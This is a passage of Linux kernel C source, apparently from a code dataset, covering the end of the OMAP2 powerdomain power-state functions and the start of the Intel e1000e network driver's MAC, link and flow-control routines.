%0x while pwrdm-RET to %0x\n", pwrdm->name, bank, pwrst); if (arch_pwrdm && arch_pwrdm->pwrdm_set_mem_retst) ret = arch_pwrdm->pwrdm_set_mem_retst(pwrdm, bank, pwrst); return ret; } /** * pwrdm_read_logic_pwrst - get current powerdomain logic retention power state * @pwrdm: struct powerdomain * to get current logic retention power state * * Return the power state that the logic portion of powerdomain @pwrdm * will enter when the powerdomain enters retention. Returns -EINVAL * if the powerdomain pointer is null or returns the logic retention * power state upon success. */ int pwrdm_read_logic_pwrst(struct powerdomain *pwrdm) { int ret = -EINVAL; if (!pwrdm) return -EINVAL; if (arch_pwrdm && arch_pwrdm->pwrdm_read_logic_pwrst) ret = arch_pwrdm->pwrdm_read_logic_pwrst(pwrdm); return ret; } /** * pwrdm_read_prev_logic_pwrst - get previous powerdomain logic power state * @pwrdm: struct powerdomain * to get previous logic power state * * Return the powerdomain @pwrdm's previous logic power state. Returns * -EINVAL if the powerdomain pointer is null or returns the previous * logic power state upon success. */ int pwrdm_read_prev_logic_pwrst(struct powerdomain *pwrdm) { int ret = -EINVAL; if (!pwrdm) return -EINVAL; if (arch_pwrdm && arch_pwrdm->pwrdm_read_prev_logic_pwrst) ret = arch_pwrdm->pwrdm_read_prev_logic_pwrst(pwrdm); return ret; } /** * pwrdm_read_logic_retst - get next powerdomain logic power state * @pwrdm: struct powerdomain * to get next logic power state * * Return the powerdomain pwrdm's logic power state. Returns -EINVAL * if the powerdomain pointer is null or returns the next logic * power state upon success. */ int pwrdm_read_logic_retst(struct powerdomain *pwrdm) { int ret = -EINVAL; if (!pwrdm) return -EINVAL; if (arch_pwrdm && arch_pwrdm->pwrdm_read_logic_retst) ret = arch_pwrdm->pwrdm_read_logic_retst(pwrdm); return ret; } /** * pwrdm_read_mem_pwrst - get current memory bank power state * @pwrdm: struct powerdomain * to get current memory bank power state * @bank: memory bank number (0-3) * * Return the powerdomain @pwrdm's current memory power state for bank * @bank. Returns -EINVAL if the powerdomain pointer is null, -EEXIST if * the target memory bank does not exist or is not controllable, or * returns the current memory power state upon success. */ int pwrdm_read_mem_pwrst(struct powerdomain *pwrdm, u8 bank) { int ret = -EINVAL; if (!pwrdm) return ret; if (pwrdm->banks < (bank + 1)) return ret; if (pwrdm->flags & PWRDM_HAS_MPU_QUIRK) bank = 1; if (arch_pwrdm && arch_pwrdm->pwrdm_read_mem_pwrst) ret = arch_pwrdm->pwrdm_read_mem_pwrst(pwrdm, bank); return ret; } /** * pwrdm_read_prev_mem_pwrst - get previous memory bank power state * @pwrdm: struct powerdomain * to get previous memory bank power state * @bank: memory bank number (0-3) * * Return the powerdomain @pwrdm's previous memory power state for * bank @bank. Returns -EINVAL if the powerdomain pointer is null, * -EEXIST if the target memory bank does not exist or is not * controllable, or returns the previous memory power state upon * success. */ int pwrdm_read_prev_mem_pwrst(struct powerdomain *pwrdm, u8 bank) { int ret = -EINVAL; if (!pwrdm) return ret; if (pwrdm->banks < (bank + 1)) return ret; if (pwrdm->flags & PWRDM_HAS_MPU_QUIRK) bank = 1; if (arch_pwrdm && arch_pwrdm->pwrdm_read_prev_mem_pwrst) ret = arch_pwrdm->pwrdm_read_prev_mem_pwrst(pwrdm, bank); return ret; } /** * pwrdm_read_mem_retst - get next memory bank power state * @pwrdm: struct powerdomain * to get mext memory bank power state * @bank: memory bank number (0-3) * * Return the powerdomain pwrdm's next memory power state for bank * x. Returns -EINVAL if the powerdomain pointer is null, -EEXIST if * the target memory bank does not exist or is not controllable, or * returns the next memory power state upon success. */ int pwrdm_read_mem_retst(struct powerdomain *pwrdm, u8 bank) { int ret = -EINVAL; if (!pwrdm) return ret; if (pwrdm->banks < (bank + 1)) return ret; if (arch_pwrdm && arch_pwrdm->pwrdm_read_mem_retst) ret = arch_pwrdm->pwrdm_read_mem_retst(pwrdm, bank); return ret; } /** * pwrdm_clear_all_prev_pwrst - clear previous powerstate register for a pwrdm * @pwrdm: struct powerdomain * to clear * * Clear the powerdomain's previous power state register @pwrdm. * Clears the entire register, including logic and memory bank * previous power states. Returns -EINVAL if the powerdomain pointer * is null, or returns 0 upon success. */ int pwrdm_clear_all_prev_pwrst(struct powerdomain *pwrdm) { int ret = -EINVAL; if (!pwrdm) return ret; /* * XXX should get the powerdomain's current state here; * warn & fail if it is not ON. */ pr_debug("powerdomain: %s: clearing previous power state reg\n", pwrdm->name); if (arch_pwrdm && arch_pwrdm->pwrdm_clear_all_prev_pwrst) ret = arch_pwrdm->pwrdm_clear_all_prev_pwrst(pwrdm); return ret; } /** * pwrdm_enable_hdwr_sar - enable automatic hardware SAR for a pwrdm * @pwrdm: struct powerdomain * * * Enable automatic context save-and-restore upon power state change * for some devices in the powerdomain @pwrdm. Warning: this only * affects a subset of devices in a powerdomain; check the TRM * closely. Returns -EINVAL if the powerdomain pointer is null or if * the powerdomain does not support automatic save-and-restore, or * returns 0 upon success. */ int pwrdm_enable_hdwr_sar(struct powerdomain *pwrdm) { int ret = -EINVAL; if (!pwrdm) return ret; if (!(pwrdm->flags & PWRDM_HAS_HDWR_SAR)) return ret; pr_debug("powerdomain: %s: setting SAVEANDRESTORE bit\n", pwrdm->name); if (arch_pwrdm && arch_pwrdm->pwrdm_enable_hdwr_sar) ret = arch_pwrdm->pwrdm_enable_hdwr_sar(pwrdm); return ret; } /** * pwrdm_disable_hdwr_sar - disable automatic hardware SAR for a pwrdm * @pwrdm: struct powerdomain * * * Disable automatic context save-and-restore upon power state change * for some devices in the powerdomain @pwrdm. Warning: this only * affects a subset of devices in a powerdomain; check the TRM * closely. Returns -EINVAL if the powerdomain pointer is null or if * the powerdomain does not support automatic save-and-restore, or * returns 0 upon success. */ int pwrdm_disable_hdwr_sar(struct powerdomain *pwrdm) { int ret = -EINVAL; if (!pwrdm) return ret; if (!(pwrdm->flags & PWRDM_HAS_HDWR_SAR)) return ret; pr_debug("powerdomain: %s: clearing SAVEANDRESTORE bit\n", pwrdm->name); if (arch_pwrdm && arch_pwrdm->pwrdm_disable_hdwr_sar) ret = arch_pwrdm->pwrdm_disable_hdwr_sar(pwrdm); return ret; } /** * pwrdm_has_hdwr_sar - test whether powerdomain supports hardware SAR * @pwrdm: struct powerdomain * * * Returns 1 if powerdomain @pwrdm supports hardware save-and-restore * for some devices, or 0 if it does not. */ bool pwrdm_has_hdwr_sar(struct powerdomain *pwrdm) { return (pwrdm && pwrdm->flags & PWRDM_HAS_HDWR_SAR) ? 1 : 0; } int pwrdm_state_switch_nolock(struct powerdomain *pwrdm) { int ret; if (!pwrdm || !arch_pwrdm) return -EINVAL; ret = arch_pwrdm->pwrdm_wait_transition(pwrdm); if (!ret) ret = _pwrdm_state_switch(pwrdm, PWRDM_STATE_NOW); return ret; } int __deprecated pwrdm_state_switch(struct powerdomain *pwrdm) { int ret; pwrdm_lock(pwrdm); ret = pwrdm_state_switch_nolock(pwrdm); pwrdm_unlock(pwrdm); return ret; } int pwrdm_pre_transition(struct powerdomain *pwrdm) { if (pwrdm) _pwrdm_pre_transition_cb(pwrdm, NULL); else pwrdm_for_each(_pwrdm_pre_transition_cb, NULL); return 0; } int pwrdm_post_transition(struct powerdomain *pwrdm) { if (pwrdm) _pwrdm_post_transition_cb(pwrdm, NULL); else pwrdm_for_each(_pwrdm_post_transition_cb, NULL); return 0; } /** * omap_set_pwrdm_state - change a powerdomain's current power state * @pwrdm: struct powerdomain * to change the power state of * @pwrst: power state to change to * * Change the current hardware power state of the powerdomain * represented by @pwrdm to the power state represented by @pwrst. * Returns -EINVAL if @pwrdm is null or invalid or if the * powerdomain's current power state could not be read, or returns 0 * upon success or if @pwrdm does not support @pwrst or any * lower-power state. XXX Should not return 0 if the @pwrdm does not * support @pwrst or any lower-power state: this should be an error. */ int omap_set_pwrdm_state(struct powerdomain *pwrdm, u8 pwrst) { u8 next_pwrst, sleep_switch; int curr_pwrst; int ret = 0; bool hwsup = false; if (!pwrdm || IS_ERR(pwrdm)) return -EINVAL; while (!(pwrdm->pwrsts & (1 << pwrst))) { if (pwrst == PWRDM_POWER_OFF) return ret; pwrst--; } pwrdm_lock(pwrdm); curr_pwrst = pwrdm_read_pwrst(pwrdm); if (curr_pwrst < 0) { ret = -EINVAL; goto osps_out; } next_pwrst = pwrdm_read_next_pwrst(pwrdm); if (curr_pwrst == pwrst && next_pwrst == pwrst) goto osps_out; sleep_switch = _pwrdm_save_clkdm_state_and_activate(pwrdm, curr_pwrst, pwrst, &hwsup); ret = pwrdm_set_next_pwrst(pwrdm, pwrst); if (ret) pr_err("%s: unable to set power state of powerdomain: %s\n", __func__, pwrdm->name); _pwrdm_restore_clkdm_state(pwrdm, sleep_switch, hwsup); osps_out: pwrdm_unlock(pwrdm); return ret; } /** * pwrdm_get_context_loss_count - get powerdomain's context loss count * @pwrdm: struct powerdomain * to wait for * * Context loss count is the sum of powerdomain off-mode counter, the * logic off counter and the per-bank memory off counter. Returns negative * (and WARNs) upon error, otherwise, returns the context loss count. */ int pwrdm_get_context_loss_count(struct powerdomain *pwrdm) { int i, count; if (!pwrdm) { WARN(1, "powerdomain: %s: pwrdm is null\n", __func__); return -ENODEV; } count = pwrdm->state_counter[PWRDM_POWER_OFF]; count += pwrdm->ret_logic_off_counter; for (i = 0; i < pwrdm->banks; i++) count += pwrdm->ret_mem_off_counter[i]; /* * Context loss count has to be a non-negative value. Clear the sign * bit to get a value range from 0 to INT_MAX. */ count &= INT_MAX; pr_debug("powerdomain: %s: context loss count = %d\n", pwrdm->name, count); return count; } /** * pwrdm_can_ever_lose_context - can this powerdomain ever lose context? * @pwrdm: struct powerdomain * * * Given a struct powerdomain * @pwrdm, returns 1 if the powerdomain * can lose either memory or logic context or if @pwrdm is invalid, or * returns 0 otherwise. This function is not concerned with how the * powerdomain registers are programmed (i.e., to go off or not); it's * concerned with whether it's ever possible for this powerdomain to * go off while some other part of the chip is active. This function * assumes that every powerdomain can go to either ON or INACTIVE. */ bool pwrdm_can_ever_lose_context(struct powerdomain *pwrdm) { int i; if (!pwrdm) { pr_debug("powerdomain: %s: invalid powerdomain pointer\n", __func__); return 1; } if (pwrdm->pwrsts & PWRSTS_OFF) return 1; if (pwrdm->pwrsts & PWRSTS_RET) { if (pwrdm->pwrsts_logic_ret & PWRSTS_OFF) return 1; for (i = 0; i < pwrdm->banks; i++) if (pwrdm->pwrsts_mem_ret[i] & PWRSTS_OFF) return 1; } for (i = 0; i < pwrdm->banks; i++) if (pwrdm->pwrsts_mem_on[i] & PWRSTS_OFF) return 1; return 0; }
djvoleur/G92XP-R4_COI9
arch/arm/mach-omap2/powerdomain.c
C
gpl-2.0
32,211
/******************************************************************************* Intel PRO/1000 Linux driver Copyright(c) 1999 - 2012 Intel Corporation. This program is free software; you can redistribute it and/or modify it under the terms and conditions of the GNU General Public License, version 2, as published by the Free Software Foundation. This program is distributed in the hope it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA. The full GNU General Public License is included in this distribution in the file called "COPYING". Contact Information: Linux NICS <linux.nics@intel.com> e1000-devel Mailing List <e1000-devel@lists.sourceforge.net> Intel Corporation, 5200 N.E. Elam Young Parkway, Hillsboro, OR 97124-6497 *******************************************************************************/ #include "e1000.h" /** * e1000e_get_bus_info_pcie - Get PCIe bus information * @hw: pointer to the HW structure * * Determines and stores the system bus information for a particular * network interface. The following bus information is determined and stored: * bus speed, bus width, type (PCIe), and PCIe function. **/ s32 e1000e_get_bus_info_pcie(struct e1000_hw *hw) { struct e1000_mac_info *mac = &hw->mac; struct e1000_bus_info *bus = &hw->bus; struct e1000_adapter *adapter = hw->adapter; u16 pcie_link_status, cap_offset; cap_offset = adapter->pdev->pcie_cap; if (!cap_offset) { bus->width = e1000_bus_width_unknown; } else { pci_read_config_word(adapter->pdev, cap_offset + PCIE_LINK_STATUS, &pcie_link_status); bus->width = (enum e1000_bus_width)((pcie_link_status & PCIE_LINK_WIDTH_MASK) >> PCIE_LINK_WIDTH_SHIFT); } mac->ops.set_lan_id(hw); return 0; } /** * e1000_set_lan_id_multi_port_pcie - Set LAN id for PCIe multiple port devices * * @hw: pointer to the HW structure * * Determines the LAN function id by reading memory-mapped registers * and swaps the port value if requested. **/ void e1000_set_lan_id_multi_port_pcie(struct e1000_hw *hw) { struct e1000_bus_info *bus = &hw->bus; u32 reg; /* * The status register reports the correct function number * for the device regardless of function swap state. */ reg = er32(STATUS); bus->func = (reg & E1000_STATUS_FUNC_MASK) >> E1000_STATUS_FUNC_SHIFT; } /** * e1000_set_lan_id_single_port - Set LAN id for a single port device * @hw: pointer to the HW structure * * Sets the LAN function id to zero for a single port device. **/ void e1000_set_lan_id_single_port(struct e1000_hw *hw) { struct e1000_bus_info *bus = &hw->bus; bus->func = 0; } /** * e1000_clear_vfta_generic - Clear VLAN filter table * @hw: pointer to the HW structure * * Clears the register array which contains the VLAN filter table by * setting all the values to 0. **/ void e1000_clear_vfta_generic(struct e1000_hw *hw) { u32 offset; for (offset = 0; offset < E1000_VLAN_FILTER_TBL_SIZE; offset++) { E1000_WRITE_REG_ARRAY(hw, E1000_VFTA, offset, 0); e1e_flush(); } } /** * e1000_write_vfta_generic - Write value to VLAN filter table * @hw: pointer to the HW structure * @offset: register offset in VLAN filter table * @value: register value written to VLAN filter table * * Writes value at the given offset in the register array which stores * the VLAN filter table. **/ void e1000_write_vfta_generic(struct e1000_hw *hw, u32 offset, u32 value) { E1000_WRITE_REG_ARRAY(hw, E1000_VFTA, offset, value); e1e_flush(); } /** * e1000e_init_rx_addrs - Initialize receive address's * @hw: pointer to the HW structure * @rar_count: receive address registers * * Setup the receive address registers by setting the base receive address * register to the devices MAC address and clearing all the other receive * address registers to 0. **/ void e1000e_init_rx_addrs(struct e1000_hw *hw, u16 rar_count) { u32 i; u8 mac_addr[ETH_ALEN] = { 0 }; /* Setup the receive address */ e_dbg("Programming MAC Address into RAR[0]\n"); e1000e_rar_set(hw, hw->mac.addr, 0); /* Zero out the other (rar_entry_count - 1) receive addresses */ e_dbg("Clearing RAR[1-%u]\n", rar_count - 1); for (i = 1; i < rar_count; i++) e1000e_rar_set(hw, mac_addr, i); } /** * e1000_check_alt_mac_addr_generic - Check for alternate MAC addr * @hw: pointer to the HW structure * * Checks the nvm for an alternate MAC address. An alternate MAC address * can be setup by pre-boot software and must be treated like a permanent * address and must override the actual permanent MAC address. If an * alternate MAC address is found it is programmed into RAR0, replacing * the permanent address that was installed into RAR0 by the Si on reset. * This function will return SUCCESS unless it encounters an error while * reading the EEPROM. **/ s32 e1000_check_alt_mac_addr_generic(struct e1000_hw *hw) { u32 i; s32 ret_val = 0; u16 offset, nvm_alt_mac_addr_offset, nvm_data; u8 alt_mac_addr[ETH_ALEN]; ret_val = e1000_read_nvm(hw, NVM_COMPAT, 1, &nvm_data); if (ret_val) return ret_val; /* not supported on 82573 */ if (hw->mac.type == e1000_82573) return 0; ret_val = e1000_read_nvm(hw, NVM_ALT_MAC_ADDR_PTR, 1, &nvm_alt_mac_addr_offset); if (ret_val) { e_dbg("NVM Read Error\n"); return ret_val; } if ((nvm_alt_mac_addr_offset == 0xFFFF) || (nvm_alt_mac_addr_offset == 0x0000)) /* There is no Alternate MAC Address */ return 0; if (hw->bus.func == E1000_FUNC_1) nvm_alt_mac_addr_offset += E1000_ALT_MAC_ADDRESS_OFFSET_LAN1; for (i = 0; i < ETH_ALEN; i += 2) { offset = nvm_alt_mac_addr_offset + (i >> 1); ret_val = e1000_read_nvm(hw, offset, 1, &nvm_data); if (ret_val) { e_dbg("NVM Read Error\n"); return ret_val; } alt_mac_addr[i] = (u8)(nvm_data & 0xFF); alt_mac_addr[i + 1] = (u8)(nvm_data >> 8); } /* if multicast bit is set, the alternate address will not be used */ if (is_multicast_ether_addr(alt_mac_addr)) { e_dbg("Ignoring Alternate Mac Address with MC bit set\n"); return 0; } /* * We have a valid alternate MAC address, and we want to treat it the * same as the normal permanent MAC address stored by the HW into the * RAR. Do this by mapping this address into RAR0. */ e1000e_rar_set(hw, alt_mac_addr, 0); return 0; } /** * e1000e_rar_set - Set receive address register * @hw: pointer to the HW structure * @addr: pointer to the receive address * @index: receive address array register * * Sets the receive address array register at index to the address passed * in by addr. **/ void e1000e_rar_set(struct e1000_hw *hw, u8 *addr, u32 index) { u32 rar_low, rar_high; /* * HW expects these in little endian so we reverse the byte order * from network order (big endian) to little endian */ rar_low = ((u32)addr[0] | ((u32)addr[1] << 8) | ((u32)addr[2] << 16) | ((u32)addr[3] << 24)); rar_high = ((u32)addr[4] | ((u32)addr[5] << 8)); /* If MAC address zero, no need to set the AV bit */ if (rar_low || rar_high) rar_high |= E1000_RAH_AV; /* * Some bridges will combine consecutive 32-bit writes into * a single burst write, which will malfunction on some parts. * The flushes avoid this. */ ew32(RAL(index), rar_low); e1e_flush(); ew32(RAH(index), rar_high); e1e_flush(); } /** * e1000_hash_mc_addr - Generate a multicast hash value * @hw: pointer to the HW structure * @mc_addr: pointer to a multicast address * * Generates a multicast address hash value which is used to determine * the multicast filter table array address and new table value. **/ static u32 e1000_hash_mc_addr(struct e1000_hw *hw, u8 *mc_addr) { u32 hash_value, hash_mask; u8 bit_shift = 0; /* Register count multiplied by bits per register */ hash_mask = (hw->mac.mta_reg_count * 32) - 1; /* * For a mc_filter_type of 0, bit_shift is the number of left-shifts * where 0xFF would still fall within the hash mask. */ while (hash_mask >> bit_shift != 0xFF) bit_shift++; /* * The portion of the address that is used for the hash table * is determined by the mc_filter_type setting. * The algorithm is such that there is a total of 8 bits of shifting. * The bit_shift for a mc_filter_type of 0 represents the number of * left-shifts where the MSB of mc_addr[5] would still fall within * the hash_mask. Case 0 does this exactly. Since there are a total * of 8 bits of shifting, then mc_addr[4] will shift right the * remaining number of bits. Thus 8 - bit_shift. The rest of the * cases are a variation of this algorithm...essentially raising the * number of bits to shift mc_addr[5] left, while still keeping the * 8-bit shifting total. * * For example, given the following Destination MAC Address and an * mta register count of 128 (thus a 4096-bit vector and 0xFFF mask), * we can see that the bit_shift for case 0 is 4. These are the hash * values resulting from each mc_filter_type... * [0] [1] [2] [3] [4] [5] * 01 AA 00 12 34 56 * LSB MSB * * case 0: hash_value = ((0x34 >> 4) | (0x56 << 4)) & 0xFFF = 0x563 * case 1: hash_value = ((0x34 >> 3) | (0x56 << 5)) & 0xFFF = 0xAC6 * case 2: hash_value = ((0x34 >> 2) | (0x56 << 6)) & 0xFFF = 0x163 * case 3: hash_value = ((0x34 >> 0) | (0x56 << 8)) & 0xFFF = 0x634 */ switch (hw->mac.mc_filter_type) { default: case 0: break; case 1: bit_shift += 1; break; case 2: bit_shift += 2; break; case 3: bit_shift += 4; break; } hash_value = hash_mask & (((mc_addr[4] >> (8 - bit_shift)) | (((u16)mc_addr[5]) << bit_shift))); return hash_value; } /** * e1000e_update_mc_addr_list_generic - Update Multicast addresses * @hw: pointer to the HW structure * @mc_addr_list: array of multicast addresses to program * @mc_addr_count: number of multicast addresses to program * * Updates entire Multicast Table Array. * The caller must have a packed mc_addr_list of multicast addresses. **/ void e1000e_update_mc_addr_list_generic(struct e1000_hw *hw, u8 *mc_addr_list, u32 mc_addr_count) { u32 hash_value, hash_bit, hash_reg; int i; /* clear mta_shadow */ memset(&hw->mac.mta_shadow, 0, sizeof(hw->mac.mta_shadow)); /* update mta_shadow from mc_addr_list */ for (i = 0; (u32)i < mc_addr_count; i++) { hash_value = e1000_hash_mc_addr(hw, mc_addr_list); hash_reg = (hash_value >> 5) & (hw->mac.mta_reg_count - 1); hash_bit = hash_value & 0x1F; hw->mac.mta_shadow[hash_reg] |= (1 << hash_bit); mc_addr_list += (ETH_ALEN); } /* replace the entire MTA table */ for (i = hw->mac.mta_reg_count - 1; i >= 0; i--) E1000_WRITE_REG_ARRAY(hw, E1000_MTA, i, hw->mac.mta_shadow[i]); e1e_flush(); } /** * e1000e_clear_hw_cntrs_base - Clear base hardware counters * @hw: pointer to the HW structure * * Clears the base hardware counters by reading the counter registers. **/ void e1000e_clear_hw_cntrs_base(struct e1000_hw *hw) { er32(CRCERRS); er32(SYMERRS); er32(MPC); er32(SCC); er32(ECOL); er32(MCC); er32(LATECOL); er32(COLC); er32(DC); er32(SEC); er32(RLEC); er32(XONRXC); er32(XONTXC); er32(XOFFRXC); er32(XOFFTXC); er32(FCRUC); er32(GPRC); er32(BPRC); er32(MPRC); er32(GPTC); er32(GORCL); er32(GORCH); er32(GOTCL); er32(GOTCH); er32(RNBC); er32(RUC); er32(RFC); er32(ROC); er32(RJC); er32(TORL); er32(TORH); er32(TOTL); er32(TOTH); er32(TPR); er32(TPT); er32(MPTC); er32(BPTC); } /** * e1000e_check_for_copper_link - Check for link (Copper) * @hw: pointer to the HW structure * * Checks to see of the link status of the hardware has changed. If a * change in link status has been detected, then we read the PHY registers * to get the current speed/duplex if link exists. **/ s32 e1000e_check_for_copper_link(struct e1000_hw *hw) { struct e1000_mac_info *mac = &hw->mac; s32 ret_val; bool link; /* * We only want to go out to the PHY registers to see if Auto-Neg * has completed and/or if our link status has changed. The * get_link_status flag is set upon receiving a Link Status * Change or Rx Sequence Error interrupt. */ if (!mac->get_link_status) return 0; /* * First we want to see if the MII Status Register reports * link. If so, then we want to get the current speed/duplex * of the PHY. */ ret_val = e1000e_phy_has_link_generic(hw, 1, 0, &link); if (ret_val) return ret_val; if (!link) return 0; /* No link detected */ mac->get_link_status = false; /* * Check if there was DownShift, must be checked * immediately after link-up */ e1000e_check_downshift(hw); /* * If we are forcing speed/duplex, then we simply return since * we have already determined whether we have link or not. */ if (!mac->autoneg) return -E1000_ERR_CONFIG; /* * Auto-Neg is enabled. Auto Speed Detection takes care * of MAC speed/duplex configuration. So we only need to * configure Collision Distance in the MAC. */ mac->ops.config_collision_dist(hw); /* * Configure Flow Control now that Auto-Neg has completed. * First, we need to restore the desired flow control * settings because we may have had to re-autoneg with a * different link partner. */ ret_val = e1000e_config_fc_after_link_up(hw); if (ret_val) e_dbg("Error configuring flow control\n"); return ret_val; } /** * e1000e_check_for_fiber_link - Check for link (Fiber) * @hw: pointer to the HW structure * * Checks for link up on the hardware. If link is not up and we have * a signal, then we need to force link up. **/ s32 e1000e_check_for_fiber_link(struct e1000_hw *hw) { struct e1000_mac_info *mac = &hw->mac; u32 rxcw; u32 ctrl; u32 status; s32 ret_val; ctrl = er32(CTRL); status = er32(STATUS); rxcw = er32(RXCW); /* * If we don't have link (auto-negotiation failed or link partner * cannot auto-negotiate), the cable is plugged in (we have signal), * and our link partner is not trying to auto-negotiate with us (we * are receiving idles or data), we need to force link up. We also * need to give auto-negotiation time to complete, in case the cable * was just plugged in. The autoneg_failed flag does this. */ /* (ctrl & E1000_CTRL_SWDPIN1) == 1 == have signal */ if ((ctrl & E1000_CTRL_SWDPIN1) && !(status & E1000_STATUS_LU) && !(rxcw & E1000_RXCW_C)) { if (!mac->autoneg_failed) { mac->autoneg_failed = true; return 0; } e_dbg("NOT Rx'ing /C/, disable AutoNeg and force link.\n"); /* Disable auto-negotiation in the TXCW register */ ew32(TXCW, (mac->txcw & ~E1000_TXCW_ANE)); /* Force link-up and also force full-duplex. */ ctrl = er32(CTRL); ctrl |= (E1000_CTRL_SLU | E1000_CTRL_FD); ew32(CTRL, ctrl); /* Configure Flow Control after forcing link up. */ ret_val = e1000e_config_fc_after_link_up(hw); if (ret_val) { e_dbg("Error configuring flow control\n"); return ret_val; } } else if ((ctrl & E1000_CTRL_SLU) && (rxcw & E1000_RXCW_C)) { /* * If we are forcing link and we are receiving /C/ ordered * sets, re-enable auto-negotiation in the TXCW register * and disable forced link in the Device Control register * in an attempt to auto-negotiate with our link partner. */ e_dbg("Rx'ing /C/, enable AutoNeg and stop forcing link.\n"); ew32(TXCW, mac->txcw); ew32(CTRL, (ctrl & ~E1000_CTRL_SLU)); mac->serdes_has_link = true; } return 0; } /** * e1000e_check_for_serdes_link - Check for link (Serdes) * @hw: pointer to the HW structure * * Checks for link up on the hardware. If link is not up and we have * a signal, then we need to force link up. **/ s32 e1000e_check_for_serdes_link(struct e1000_hw *hw) { struct e1000_mac_info *mac = &hw->mac; u32 rxcw; u32 ctrl; u32 status; s32 ret_val; ctrl = er32(CTRL); status = er32(STATUS); rxcw = er32(RXCW); /* * If we don't have link (auto-negotiation failed or link partner * cannot auto-negotiate), and our link partner is not trying to * auto-negotiate with us (we are receiving idles or data), * we need to force link up. We also need to give auto-negotiation * time to complete. */ /* (ctrl & E1000_CTRL_SWDPIN1) == 1 == have signal */ if (!(status & E1000_STATUS_LU) && !(rxcw & E1000_RXCW_C)) { if (!mac->autoneg_failed) { mac->autoneg_failed = true; return 0; } e_dbg("NOT Rx'ing /C/, disable AutoNeg and force link.\n"); /* Disable auto-negotiation in the TXCW register */ ew32(TXCW, (mac->txcw & ~E1000_TXCW_ANE)); /* Force link-up and also force full-duplex. */ ctrl = er32(CTRL); ctrl |= (E1000_CTRL_SLU | E1000_CTRL_FD); ew32(CTRL, ctrl); /* Configure Flow Control after forcing link up. */ ret_val = e1000e_config_fc_after_link_up(hw); if (ret_val) { e_dbg("Error configuring flow control\n"); return ret_val; } } else if ((ctrl & E1000_CTRL_SLU) && (rxcw & E1000_RXCW_C)) { /* * If we are forcing link and we are receiving /C/ ordered * sets, re-enable auto-negotiation in the TXCW register * and disable forced link in the Device Control register * in an attempt to auto-negotiate with our link partner. */ e_dbg("Rx'ing /C/, enable AutoNeg and stop forcing link.\n"); ew32(TXCW, mac->txcw); ew32(CTRL, (ctrl & ~E1000_CTRL_SLU)); mac->serdes_has_link = true; } else if (!(E1000_TXCW_ANE & er32(TXCW))) { /* * If we force link for non-auto-negotiation switch, check * link status based on MAC synchronization for internal * serdes media type. */ /* SYNCH bit and IV bit are sticky. */ udelay(10); rxcw = er32(RXCW); if (rxcw & E1000_RXCW_SYNCH) { if (!(rxcw & E1000_RXCW_IV)) { mac->serdes_has_link = true; e_dbg("SERDES: Link up - forced.\n"); } } else { mac->serdes_has_link = false; e_dbg("SERDES: Link down - force failed.\n"); } } if (E1000_TXCW_ANE & er32(TXCW)) { status = er32(STATUS); if (status & E1000_STATUS_LU) { /* SYNCH bit and IV bit are sticky, so reread rxcw. */ udelay(10); rxcw = er32(RXCW); if (rxcw & E1000_RXCW_SYNCH) { if (!(rxcw & E1000_RXCW_IV)) { mac->serdes_has_link = true; e_dbg("SERDES: Link up - autoneg completed successfully.\n"); } else { mac->serdes_has_link = false; e_dbg("SERDES: Link down - invalid codewords detected in autoneg.\n"); } } else { mac->serdes_has_link = false; e_dbg("SERDES: Link down - no sync.\n"); } } else { mac->serdes_has_link = false; e_dbg("SERDES: Link down - autoneg failed\n"); } } return 0; } /** * e1000_set_default_fc_generic - Set flow control default values * @hw: pointer to the HW structure * * Read the EEPROM for the default values for flow control and store the * values. **/ static s32 e1000_set_default_fc_generic(struct e1000_hw *hw) { s32 ret_val; u16 nvm_data; /* * Read and store word 0x0F of the EEPROM. This word contains bits * that determine the hardware's default PAUSE (flow control) mode, * a bit that determines whether the HW defaults to enabling or * disabling auto-negotiation, and the direction of the * SW defined pins. If there is no SW over-ride of the flow * control setting, then the variable hw->fc will * be initialized based on a value in the EEPROM. */ ret_val = e1000_read_nvm(hw, NVM_INIT_CONTROL2_REG, 1, &nvm_data); if (ret_val) { e_dbg("NVM Read Error\n"); return ret_val; } if ((nvm_data & NVM_WORD0F_PAUSE_MASK) == 0) hw->fc.requested_mode = e1000_fc_none; else if ((nvm_data & NVM_WORD0F_PAUSE_MASK) == NVM_WORD0F_ASM_DIR) hw->fc.requested_mode = e1000_fc_tx_pause; else hw->fc.requested_mode = e1000_fc_full; return 0; } /** * e1000e_setup_link_generic - Setup flow control and link settings * @hw: pointer to the HW structure * * Determines which flow control settings to use, then configures flow * control. Calls the appropriate media-specific link configuration * function. Assuming the adapter has a valid link partner, a valid link * should be established. Assumes the hardware has previously been reset * and the transmitter and receiver are not enabled. **/ s32 e1000e_setup_link_generic(struct e1000_hw *hw) { s32 ret_val; /* * In the case of the phy reset being blocked, we already have a link. * We do not need to set it up again. */ if (hw->phy.ops.check_reset_block && hw->phy.ops.check_reset_block(hw)) return 0; /* * If requested flow control is set to default, set flow control * based on the EEPROM flow control settings. */ if (hw->fc.requested_mode == e1000_fc_default) { ret_val = e1000_set_default_fc_generic(hw); if (ret_val) return ret_val; } /* * Save off the requested flow control mode for use later. Depending * on the link partner's capabilities, we may or may not use this mode. */ hw->fc.current_mode = hw->fc.requested_mode; e_dbg("After fix-ups FlowControl is now = %x\n", hw->fc.current_mode); /* Call the necessary media_type subroutine to configure the link. */ ret_val = hw->mac.ops.setup_physical_interface(hw); if (ret_val) return ret_val; /* * Initialize the flow control address, type, and PAUSE timer * registers to their default values. This is done even if flow * control is disabled, because it does not hurt anything to * initialize these registers. */ e_dbg("Initializing the Flow Control address, type and timer regs\n"); ew32(FCT, FLOW_CONTROL_TYPE); ew32(FCAH, FLOW_CONTROL_ADDRESS_HIGH); ew32(FCAL, FLOW_CONTROL_ADDRESS_LOW); ew32(FCTTV, hw->fc.pause_time); return e1000e_set_fc_watermarks(hw); } /** * e1000_commit_fc_settings_generic - Configure flow control * @hw: pointer to the HW structure * * Write the flow control settings to the Transmit Config Word Register (TXCW) * base on the flow control settings in e1000_mac_info. **/ static s32 e1000_commit_fc_settings_generic(struct e1000_hw *hw) { struct e1000_mac_info *mac = &hw->mac; u32 txcw; /* * Check for a software override of the flow control settings, and * setup the device accordingly. If auto-negotiation is enabled, then * software will have to set the "PAUSE" bits to the correct value in * the Transmit Config Word Register (TXCW) and re-start 